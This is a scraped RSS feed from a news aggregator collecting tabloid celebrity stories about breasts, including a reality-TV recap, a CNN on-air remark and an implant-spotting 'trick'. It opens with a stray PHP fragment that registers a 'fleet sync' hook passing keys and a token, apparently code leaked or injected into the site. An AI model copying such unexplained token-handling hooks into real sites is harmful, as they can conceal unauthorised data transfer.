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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); boobs – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 06 Aug 2019 04:45:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png boobs – Brief News https://briefnews.eu 32 32 The Hills Recap: Thanksgiving Brings Food, Fights and ‘Boobs on a Platter’ https://briefnews.eu/the-hills-recap-thanksgiving-brings-food-fights-and-boobs-on-a-platter/ https://briefnews.eu/the-hills-recap-thanksgiving-brings-food-fights-and-boobs-on-a-platter/#respond Tue, 06 Aug 2019 04:45:47 +0000 http://briefnews.eu/the-hills-recap-thanksgiving-brings-food-fights-and-boobs-on-a-platter/

It’s appropriate that Monday’s episode of The Hills: New Beginnings took place at Thanksgiving, because most of the hour was spent feasting on leftover drama. And they barely even bothered to heat it back up first.

As an appetizer, we got a predictably uncomfortable holiday at Spencer at Heidi’s, featuring Stephanie as literally their only dinner guest. And they shushed her when she arrived because Gunner was asleep, so things got off to a solid start. Anyway, Stephanie whispered to them about her fight with Brody, causing Spencer’s face to light up like it was suddenly Christmas morning. This was easily the most cordial conversation Spencer and Stephanie have had all season, which actually shouldn’t be surprising. Of course the secret to repairing the Pratt siblings’ fractured relationship is simply giving them a common enemy. They’re like the Wonder Twins, only not twins. And their only power is drama.

Then came the main course: Friendsgiving at Frankie’s, where Justin Bobby arrived with a busty Stephanie look-alike as his date. Did I mention that they met on Instagram, and that they’re still figuring out where things are going? That all seems kind of important. Also important was Audrina noting, “This chick is literally serving her boobs on a platter… for everyone.”

Dessert was served in the form of a highly anticipated Stephanie-Audrina showdown, but it wasn’t quite as satisfying as I hoped. Stephanie asked for an apology, but Audrina refused to oblige, adding that Stephanie takes things too far. Honestly, it’s hard to watch these grown women fight over a man-child who’s clearly manipulating them. As always, for someone who claims to hate drama, Justin Bobby is doing the absolute most.

Also worth discussing…

* Confirmed: Mischa will not be playing Ruth the Brothel Worker in whatever indie movie she’s been auditioning for. “I didn’t get it,” she revealed this week. “They’re going with someone musical, I guess?” (In other news, I’ll be spending the next few hours scouring IMDb for answers.)

* As always, the time spent at Brody’s mom’s house was the most interesting part of the episode. That woman seems like a saint.

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Tomb Raider movie 2018: 'Alicia Vikander's boobs’ comment gets backlash for YouTuber https://briefnews.eu/tomb-raider-movie-2018-alicia-vikanders-boobs-comment-gets-backlash-for-youtuber/ https://briefnews.eu/tomb-raider-movie-2018-alicia-vikanders-boobs-comment-gets-backlash-for-youtuber/#respond Tue, 13 Mar 2018 14:06:45 +0000 http://briefnews.eu/tomb-raider-movie-2018-alicia-vikanders-boobs-comment-gets-backlash-for-youtuber/

Alicia Vikander plays Lara Croft in the movie; an iconic videogame character from the 1990s.

But a YouTuber – by the name of Amazing Atheist Guy – is getting slammed for saying Vikander’s breasts don’t resemble Croft’s.

“Do I have to be the asshole who says her t**s are too small for me to see her as Lara Croft?” he tweeted.

“Do I have to be that guy? Do I have to be the one who f**king says it? I guess I do. Sorry.”

A huge number of Twitter users have been quick to slam his remarks, sending the tweet viral.

“Do men ever shut the f**k up” asked one user.

“You also have the option not to be trash,” said another.

A third swiped: “I don’t think it’s really that important. She is an outstanding actor. It’s all that matters.”

Vikander herself has previously joked about the design of Croft in her original PlayStation days.

“My breasts are not as pointy as the first Lara, but I had a clear vision of how I wanted to play her,” she joked on The Graham Norton Show.

“I was a huge fan as a kid and whilst I was too scared to play the games when I was 10, I learnt all her moves.”

Tomb Raider is out on Friday.

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16 Things That Will Make Anyone With Big Boobs Say “Damn, That's Real” https://briefnews.eu/16-things-that-will-make-anyone-with-big-boobs-say-damn-thats-real/ https://briefnews.eu/16-things-that-will-make-anyone-with-big-boobs-say-damn-thats-real/#respond Wed, 11 Oct 2017 00:40:00 +0000 http://briefnews.eu/16-things-that-will-make-anyone-with-big-boobs-say-damn-thats-real/ [unable to retrieve full-text content]

“Do ur boobs ever just like not match your outfit like does that make sense to anyone else?”


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‘Why would you even go there?’ Stunned CNN anchor ends segment on ESPN controversy after guest repeatedly references ‘boobs’ https://briefnews.eu/why-would-you-even-go-there-stunned-cnn-anchor-ends-segment-on-espn-controversy-after-guest-repeatedly-references-boobs/ https://briefnews.eu/why-would-you-even-go-there-stunned-cnn-anchor-ends-segment-on-espn-controversy-after-guest-repeatedly-references-boobs/#respond Sat, 16 Sep 2017 20:47:19 +0000 http://briefnews.eu/why-would-you-even-go-there-stunned-cnn-anchor-ends-segment-on-espn-controversy-after-guest-repeatedly-references-boobs/ cnn clay travisCNN/YouTube

Clay Travis of Fox Sports and Outkick the Coverage left CNN anchor Brooke Baldwin stunned on Friday by making an off-color remark during a segment about ESPN’s political controversy.

While discussing the network’s decision not to fire or suspend “SC6” anchor Jemele Hill for calling President Donald Trump a “white supremacist,” Travis, a vocal conservative and critic of ESPN, said the only things he believed in “completely” were “the First Amendment and boobs.”

Baldwin looked stunned and eventually cut Travis off.

You can see the exchange in the video below.

“I just want to make sure I heard you correctly as a woman anchoring this show,” she said. “What did you just say? You believe in the First Amendment and B-double-O-B-S?” she said.

Travis responded: “Boobs. Two things that have only never let me down in this entire country’s history: the First Amendment and boobs.”

As Travis tried to continue his point, Baldwin kept returning to the comment, trying to clarify whether Travis had said “booze” or “boobs.”

“I said boobs,” he said in response. “I believe completely in the First Amendment and in boobs. Those are the only two things I believe 100% in this country.”

Baldwin then criticized Travis for the remark, saying: “Why would you even say that live on national television and with a female host? Why would you even go there?”

Afterward, Travis seemed proud of the incident:

Baldwin, however, still seemed baffled:

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Where Are The Best Places To Shop When You Have Big Boobs? https://briefnews.eu/where-are-the-best-places-to-shop-when-you-have-big-boobs/ https://briefnews.eu/where-are-the-best-places-to-shop-when-you-have-big-boobs/#respond Tue, 01 Aug 2017 13:38:24 +0000 http://briefnews.eu/where-are-the-best-places-to-shop-when-you-have-big-boobs/ [unable to retrieve full-text content]

If you are ~well-endowed~, we wanna know where you go to find cute-ass clothes!


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This Morning meets Martina Big – German glamour model addicted to tanning with 32S boobs https://briefnews.eu/this-morning-meets-martina-big-german-glamour-model-addicted-to-tanning-with-32s-boobs/ https://briefnews.eu/this-morning-meets-martina-big-german-glamour-model-addicted-to-tanning-with-32s-boobs/#respond Thu, 13 Apr 2017 13:14:50 +0000 http://briefnews.eu/this-morning-meets-martina-big-german-glamour-model-addicted-to-tanning-with-32s-boobs/

Martina, 28, started having tanning injections in January 2017 and has had three since then.

The injections are illegal in the UK, but not in her native Germany, where Martina has undergone the transformation.

Responding to Eamonn’s suggestion that her doctor had given her too much, Martina said: “No! I like this colour. For a long time I wanted to have a crispy, tanned holiday colour.

“Last year I was working in LA and Miami and I spent all my free time tanning, but it faded, and I want it to stay so I have the injections.”

As well as tanning injections, Martina is a regular at her local tanning booth.

She has not just changed the colour of her skin – Martina has also had extreme breast augmentation, taking her chest from a 32D to a 32S cup.

She also has lip fillers. Explaining what inspired her to change her look, she said: “When I was younger I admired the Barbie curves of Katie Price and wanted to look like a glamour model.”

Martina had fans before she started having tanning injections, and discussing fan reactions to her changes, she said: “Opinion on me is split – some of my fans say ‘I remember you as a white girl, now you look different, but as long as you are happy thats fine.’”

Martina is not worried about the safety of the injections, and said: “My doctor told me it is tested and it is safe. “

Martina’s boyfriend Mike joined her on the sofa – and he is a fan of the injections too.

He said: “ I like Martina’s look very much. Now she is an exotic Barbie.”

Viewers write in to This Morning in thousands to comment on Martina’s look, and Ruth read out some of the comments.

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Keith Lemon pays cheeky tribute to Holly Willoughby’s BOOBS on Celebrity Juice https://briefnews.eu/keith-lemon-pays-cheeky-tribute-to-holly-willoughbys-boobs-on-celebrity-juice/ https://briefnews.eu/keith-lemon-pays-cheeky-tribute-to-holly-willoughbys-boobs-on-celebrity-juice/#respond Fri, 24 Mar 2017 04:41:38 +0000 http://briefnews.eu/keith-lemon-pays-cheeky-tribute-to-holly-willoughbys-boobs-on-celebrity-juice/

The This Morning presenter recently confessed her days on sexy lingerie shoots are behind her, but the comedian wasn’t going to let her off lightly.

As a thoughtful gesture, Keith put together a cheeky video of Holly flaunting her ample cleavage from some of her time on the ITV2 show.

At the beginning off the clip, the camera zooms in on the 36-year-old who is seen wearing a plunging white top that perfectly showcased her sizeable bust.

In another part, the mother-of-three is dressed in a sexy nurse’s outfit as she hits Keith with a towel.

It finishes with a black and white image of the blonde beauty wearing a 50s styled bikini that only just contains her large assets.

Underneath the smoking hot snap it said: “Holly’s boobs 1999 – 2017.”

The former children’s TV show presenter, recently revealed she would no longer strip off of the camera because people “don’t need to see that anymore”.

Having posed for the final issue of FHM last year, she insisted it was the perfect way to blow out.

“I think probably that was a really good way to say goodbye to all of that,” she told Daily Star Sunday.

“I’ve had three children and there is enough lurking about online. I really think now I’m a mum-of-three that we don’t need to see that anymore.”

Celebrity Juice continues next Thursday on ITV2 at 10.30pm.

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How to tell breast implants from REAL boobs with this trick doctors reveal DOES work https://briefnews.eu/how-to-tell-breast-implants-from-real-boobs-with-this-trick-doctors-reveal-does-work/ https://briefnews.eu/how-to-tell-breast-implants-from-real-boobs-with-this-trick-doctors-reveal-does-work/#respond Thu, 02 Feb 2017 08:11:36 +0000 http://briefnews.eu/how-to-tell-breast-implants-from-real-boobs-with-this-trick-doctors-reveal-does-work/

Sveta Bilyalova demonstrated the technique, which Express.co.uk can reveal – with the help of a plastic surgeon – does in fact work.

“What we need, we need two phones with a flash light. We put the phones under her shirt and turn off the light,” Sveta says in the video that was posted to Instagram.

Sveta does exactly what she describes in the video, putting two phones with the flashlight turned on under her friend’s very large breasts.

The light shines though the volunteer’s skin, glowing a bright red.

“Do you see it? It’s so beautiful they shine red. The silicone shines bright red,” Sveta, who has 4.7 million Instagram followers, says.

When the same is tried on a woman with real breasts the tissue does not glow.

“Don’t forget to check your friends,” Sveta adds in the video, which has been viewed over 2m times.

A plastic surgeon exclusively told Express.co.uk that there is some truth to Sveta’s video.

Dr Tatiana Lapa, a Harley Street based GP said: “If you were to shine a bright light on breasts with a silicon implant inside them the whole breast would light up.

“This is because silicon is a clear gel whereas the fibrous tissue of a real breast would prevent so much light from getting though; meaning that it would most likely just shine around the edges.

“Also, the colour of the light would slightly differ between the two – real breasts would shine more of a red/pinkish colour because of the blood vessels that flow through them, whereas breast implants would show up a more brighter orange tone.” 

While breast enlargement surgery is still one of the most popular cosmetic procedures, more and more women are turning their attention to their nipples.

Surgeons have seen a 30 per cent rise in women requesting a smaller nipple size and cup size requests plummeting from DD to a natural C.

Research by The Plastic Surgery Group has shown that there is a new trend towards patients choosing smaller nipple sizes when undergoing breast surgery.

The Express revealed there are scientific reasons why humans are so concerned with breasts.

Apparently, a woman’s chest resembles a shapely derrière, and that is why men can’t stop staring.

Biological anthropologist Bobbi S. Low says the buttocks “evolved in the context of females competing for the attention and parental commitment of powerful resource-controlling males” as an “honest display of fat reserves.”

Sexologist Alfred Kind says that attraction to breasts stems from their similarity to the buttocks.

This urge most likely developed around the time human beings started having sex face-to-face.

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